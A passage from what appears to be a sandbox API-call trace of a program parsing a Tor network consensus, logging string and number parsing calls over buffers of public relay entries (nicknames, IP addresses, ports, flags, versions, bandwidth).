Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCac" [0119.878] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.878] memchr (_Buf=0x39417c4, _Val=10, _MaxCount=0x122) returned 0x394180f [0119.878] strncmp (_Str1="m TXJa0g88h", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.878] strncmp (_Str1="s Fast Guar", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.878] strncmp (_Str1="v Tor 0.3.1", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.878] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.878] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.878] htonl (hostlong=0xd90cdfd7) returned 0xd7df0cd9 [0119.878] htonl (hostlong=0xd7df0cd9) returned 0xd90cdfd7 [0119.878] _errno () returned 0x9f07d8 [0119.878] strtol (in: _Str="22", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 22 [0119.878] _errno () returned 0x9f07d8 [0119.878] _errno () returned 0x9f07d8 [0119.878] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.879] _errno () returned 0x9f07d8 [0119.879] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.879] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.879] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.879] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.879] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.879] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.879] strlen (_Str="(git-") returned 0x5 [0119.879] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.879] strlen (_Str="Tor ") returned 0x4 [0119.879] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.879] strlen (_Str="(r") returned 0x2 [0119.879] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.879] strlen (_Str="(git-") returned 0x5 [0119.879] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.879] strtol (in: _Str="0.3.1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.1.5-alpha") returned 0 [0119.879] strtol (in: _Str="3.1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".1.5-alpha") returned 3 [0119.879] strtol (in: _Str="1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".5-alpha") returned 1 [0119.879] strtol (in: _Str="5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 5 [0119.879] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.879] strlen (_Str="(git-") returned 0x5 [0119.879] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.879] strlen (_Str="Bandwidth=") returned 0xa [0119.879] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.879] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.879] strstr (_Str="r Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCach", _SubStr="\nr ") returned="\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 